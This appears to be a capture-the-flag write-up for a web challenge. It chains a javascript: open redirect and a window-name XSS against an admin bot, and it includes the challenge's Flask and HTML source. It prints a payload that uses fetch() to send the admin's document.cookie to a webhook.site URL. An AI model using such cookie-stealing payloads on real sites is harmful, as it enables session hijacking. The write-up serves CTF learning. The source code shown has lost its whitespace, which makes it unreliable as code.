Since everything in the name queryParam is stored in the name global variable, and open-redirected to url queryParam, we can construct a clever javascript: url liked javascript:name
Here,
url = url=javascript:name
name = <script>alert(42)</script>
Do the same to the admin, by /visit. Instead of alert(), send document.cookie to webhooks.site url.
url = javascript:name
name = <script>fetch("https://webhook.site/3d4588c3-7895-4491-bcc2-d176e9d84051/"+document.cookie")</script>
FLAG="NHNC{REAL_FLAG}"@app.route("/visit",methods=["GET"])defvisit():url=request.args.get("url")asserturlisnotNoneifnoturl.startswith("http://localhost:5000/"):return"Bad Hacker",400process=subprocess.Popen(["chromium",url,"--disable-gpu","--no-sandbox","--user-agent='admin'",],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL,)timer=threading.Timer(20,terminate_process,[process])timer.start()return"Admin is visiting your page!"@app.route("/",methods=["GET"])defmain():ifrequest.remote_addr=="127.0.0.1":resp=make_response(render_template("index.html"))resp.set_cookie("flag",FLAG)returnrespreturnrender_template("index.html")if__name__=="__main__":app.run(host="0.0.0.0",port=5000)
Index.html:
HTML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
<body><divclass="neon"id="displayName">───</div><divclass="hint">Jumping to the universe ...</div><script>functiongetQueryParam(key){constparams=newURLSearchParams(window.location.search);returnparams.get(key)||"";}constname=getQueryParam("name");consttargetUrl=getQueryParam("url");constdisplay=document.getElementById("displayName");display.textContent=name||"Guest";setTimeout(()=>{if(targetUrl&&targetUrl.length<=15)window.location.href=targetUrl;},3000);</script></body>